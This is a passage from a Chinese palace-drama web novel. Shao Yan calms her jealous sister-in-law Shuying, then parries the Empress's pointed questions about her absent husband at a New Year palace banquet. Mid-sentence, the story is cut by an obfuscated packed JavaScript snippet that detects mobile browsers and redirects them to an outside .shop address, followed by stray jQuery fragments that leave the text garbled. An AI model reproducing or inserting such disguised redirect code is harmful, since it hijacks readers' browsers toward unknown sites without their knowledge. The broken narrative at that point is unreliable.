王昀林仰头诧异,十分无辜,“你怎会这样想?”
“你何时是那无趣之人?”
邵焉忍了忍,把厚颜无耻几个字吞回去。
她当初听说王昀林这句话,也一时气急,嫌他识人不清,人云亦云。
宫中娘娘们夸人,翻来覆去那几个词。
因她多读些书,太后就说端庄得体,知书达理。皇后就顺着太后的意思赞是闺中典范。
那会儿想让人都以为邵府邵焉会是未来的皇子妃。
才把这些词都往她身上堆,她才不认呢!
这场雪落完,再有几日就是小年夜了。
如夫人称病没出来,大夫人带着大姑娘张罗小年夜的事情,邵焉和六姑娘从旁协助。
舒盈心里自然是百般不愿意,但太夫人发话,“再有小半年就要嫁去王府里,要跟着学点正经的。年上这些就都由你们姐妹看着办。”
她也只能蔫着头与邵焉一处选器皿摆件。
却心不在焉,失手打碎了一个骨碟。
听得动静的嬷嬷跑过来,“哎呀,这可是老物件,还是太夫人……”
舒盈脸色一白,随手又拿起一个,看也不看便摔下去。
“怎么?碎了便碎了,用得着这么大呼小叫的?我们家就破败到一个碟子都摔不得了?”
“后日宫里宴会可是请了咱们一家子,就你们这帮老奴心比天高,整日间讲从前如何如何光景。”
嬷嬷干薄的唇抖动着,“哎呦呦,六姑娘,老奴哪有这个意思。”
邵焉使了个眼色,嬷嬷退了下去。
四下无人,邵焉温声劝:“本不是什么大事,祖母那边也轻拿轻放的,你何必见着人就撒气。”
舒盈默声半晌。
忽然流下泪来,气急败坏一句:“你懂什么!”
邵焉便不再搭理她。
舒盈立在那垂泪,望着邵焉做这种杂事时也优雅挺直的背影,止不住想,为何人和人这般不同?
她是太傅府的千金,看起来不是多高的出身,却因书香世家缘故平白被人高看一眼。
做公主伴读时颇受宫里青睐,又素有雅望,一度成为京城女儿之首。
后来四哥新婚后扔下她就跑了,被编排为弃妇……那时舒盈心里还隐隐怜惜,在外偶为她争辩几句。
却不想四哥刚回来几天,俩人又和睦恩爱似新婚夫妇似的。
眼见她的日子又要好过起来。
舒盈不免觉得还是前两年她受冷待的时候顺眼些。
往年宫宴,因为四哥不在的缘故,邵焉也不好只身前去。
今年她也接了旨意,不知又要怎样在穿戴上比过自己去。
偏偏自己因母亲刚出了事,再不好用多扎眼的首饰衣裳。
舒盈想到这儿,泪流得更凶了。
竟把回过头的邵焉吓了一跳。
邵焉叹了口气,环顾四周挑了个碟子。
冲着舒盈举起来:“要不你把这个也摔了?”
“就说是我砸的?”
舒盈泪眼汪汪地瞪她,邵焉求饶般:“我发誓不和别人说。”
……
小年夜前一日,宫里按惯例要君臣同乐一番。
从前大夫人不掺和这种事,或许是今年想借此机会给舒瑜撑腰,竟也要一同前去。
国公爷、王昀林王知林自然是与朝中重臣们一起在前朝,杯盏交错间享君臣同乐。
而各家夫人们则都聚在瑞华宫,陪着皇后娘娘及贵妃们玩乐。
邵焉甫一落座,便有眼尖地远远认出她。
“几年不见校尉夫人了,这是人逢喜事精神爽啊,今日这面色不像是做了夫人好几年的,倒像是未出阁的姑娘了。”
邵焉循声望去,见是吏部侍郎秦家的独女,她身边站着至今仍钟情王昀林未嫁的吏部尚书之女。
因家里人同属吏部,这两人向来同声同气,恨不能长同一张嘴巴。
邵焉盯着她们瞧了一会儿,尚书之女唐婉儿心虚喊:“你、你瞅我们做什么?”
邵焉无视话里讥讽她独守空房几年的意思,笑着答:“仔细看看我是不是真的比你们看起来面色好些。“
她手轻抚发髻,毫不谦虚:“如秦家妹妹所言,明年府里要办两桩喜事,我可不是要比你们精神些。”
唐婉儿一怔,愤愤地甩了袖子,“校尉夫人这几年少出来,竟是话都听不明白了。”
那边几人挂起意味不明的笑。
舒瑜性子直爽忍不住,刚要说话,被邵焉扯扯袖子。
她附耳道:“好姐姐,你现在替我出头,话头又到你身上来了。”
初时闲人只惊,堂堂国公府竟要做招婿这般不体面的事,好似家里女儿嫁不出去了。
后来话便变了意味,说国公府大姑娘有隐疾,没人敢娶,才不得不行此下招。
舒瑜便也只得按耐住,与邵焉低语:“她们是嫉妒你,别放在心上。”
又握紧了手暗暗发誓:“我就不信了,谁说招婿就招不到个好儿郎?定要让她们来日都嫉妒不过来!”
舒盈在边上只望了一眼,就寻她交好的小姐去说话。
少顷,贵妃与皇后先后到了,众人伏地道万福。
皇后端杯,“值此除旧布新之际,宫中设宴,非为奢靡,实乃感念诸位父兄为社稷鞠躬尽瘁,亦谢诸位内助持家有道,教子有方。”
众人称不敢,得皇后允准落座后方开宴。
皇后倾身,“呈王妃,怎么坐得那么远?也是许久没见了,来本宫身边陪我聊聊。”
她忽而眼睛悠悠一转,笑了:“忠国公府的六姑娘何在?”
舒盈在众人颇具深意的注视中起身,听得皇后吩咐:“你也一处来陪着我坐吧。”
舒盈方跪谢,又理理衣裙,在一众年轻姑娘们艳羡的目光中往高处而去。
邵焉这才发现,她今日的打扮用心了。
按舒盈与如夫人的性子,刚在府中丢了那么大个脸面,来宫中赴宴不该穿戴地这般高调才是。
邵焉眼扫过不远处地如夫人,她竟也一反常态,穿戴隆重。
……眼下皇后亲赐座,怕是她们母女早就得了消息。
邵焉手抚上腕上的镯子,微微转动。
舒瑜的那只镯子确实是皇后赏的。
可皇后缘何要拉拢如夫人?
这倒不难猜。
皇嗣未立,各人都野心勃勃,皇后的十皇子也渐大了。
国公爷久不上战场,但却负责皇城内安防。在紧要关头时,这会是意想不到的杀手锏。
邵焉垂下头,轻轻一笑。皇后果然深谋远虑。
她之前竟忽略了国公爷这位置的特殊性。
一曲已尽,丝竹渐歇。
偌大的殿内,夫人小姐们不再像之前那般拘束,或站或坐,或三五人一桌,聊得兴起。
五公主这时才悄悄遣了人来寻邵焉,邵焉也隔着人远远冲高位上的五公主施礼。
在宫人的带领下绕后走到前殿位置,坐到五公主身边。
娴宁难掩激动,急着拉住邵焉的手,让她坐在自己身边。
“真是好久没见你了!”
邵焉安慰道:“往后就能常见了,我日日往你公主府里跑。”
娴宁一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164316|196630||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子羞红了脸,作势要拧她胳膊。
俩人靠在一起笑成一团。
娴宁的婚事是在邵焉成婚那年定下来的,可巧碰上圣上要拉拢新科进士,指了探花。
探花被外放两年,本定了去年的婚期。不想又碰上探花郎的母亲病逝,这才耽搁下来。
邵焉问:“他给你来信没?”
娴宁拽拽她的袖子,几步要把头埋到桌底去。
邵焉也只得跟着躬身。
“邵焉。”
“邵焉?”
邵焉这才听出有人唤她,这声音平静冷漠,很熟悉的毫无音调起伏,正自上方传来。
她猛地抬起头来,头被桌子狠狠撞了一下。
根本来不及去喊痛,她跪地行礼:“皇后娘娘万福。”
皇后的眼神从她的脸慢慢掠过,最后停在她伏地的那双手上。
“你久不进宫,差一点儿认不出你了。”
高台上只有公主和后妃们的坐席。
五公主坐在最末的一张案桌。
邵焉没想到皇后会注意到她,而皇后的下一句话让高台上神色各异的人都望过来。
“听说你家四郎还为了你插手内院事了?看来你们感情甚笃,倒让本宫从前白为你担心。”
邵焉膝行至桌前,“劳娘娘为臣女挂怀,臣女惶恐。校尉他……”
她解释的话还未说出口就被打断,“你们听听,一口一个臣女,还把自己当未出阁的小姐呢。”
呈王妃赔着笑,搞不明白皇后此举到底何意。
她看了一眼邵焉,因和忠国公府是未来的亲家,便不动声色地扯远话题:“是呢,到底是女孩子更贴心,是长不大的性子。我家那小子早就把我这个母亲抛在脑后了。还等舒盈过了门,好好让他收收心。”
皇后看向还未成婚的两位公主,感慨道:“是呀,女孩贴心,本宫真舍不得公主出嫁。想起来便要落泪。”
五公主六公主对视一眼,忙出言安慰,说成婚后也会常递折子进宫来请安的话。
皇后装作拭泪,“罢了,都起来吧。还在你们都嫁在我眼前,没走太远。”
话锋一转,又问邵焉:“唉?邵焉。”
邵焉刚站起的身子又直直跪下去。
“你和四郎感情这么好,他怎么还抗旨拖延不归?不该早些回来团聚才好吗?国公爷当时也去了好几封家书。”
邵焉后脊冒汗,原来真是冲他们来的!
她急中生智,“不敢欺瞒皇后娘娘,您也知道我人蠢笨便罢了,偏偏说话也不讨人喜欢。婚后和校尉吵了几次……正巧圣上有差事,他便自告奋勇领了,实在是被我气跑了。”
“至于拖延不归的事臣妇不敢妄言,只是听他说起,在南疆替圣上办事时唯恐办不好不好交差,他夜不敢寐地翻阅卷宗,走访民意。越了解越发现南疆事态复杂,不可草草收尾,否则定会前功尽弃。”
邵焉这才抬眼望向一贯雍容的皇后,“臣妇想这些事他早在回来的第一时间就向圣上陈情了,圣上还赏了不少东西呢。”
皇后果然不再作声。
半晌扬扬手,“前朝的事咱们不管。”
“只是邵焉,你们新婚你便把他气跑了,你也不怕?”
邵焉做出万分后悔状:“一开始也有悔。但后来听说南疆女子风貌,我便疑心他在那是有了红颜才迟迟不归,去信骂他,更是把他气着了。”
皇后这才哈哈大笑:“看来咱们从前的闺阁女儿典范名不副实,竟是个动辄就发脾气,能把夫君气跑了的悍妇妒妇。”
“娴宁,你成婚后可别学邵焉这样,把探花郎给气跑了。”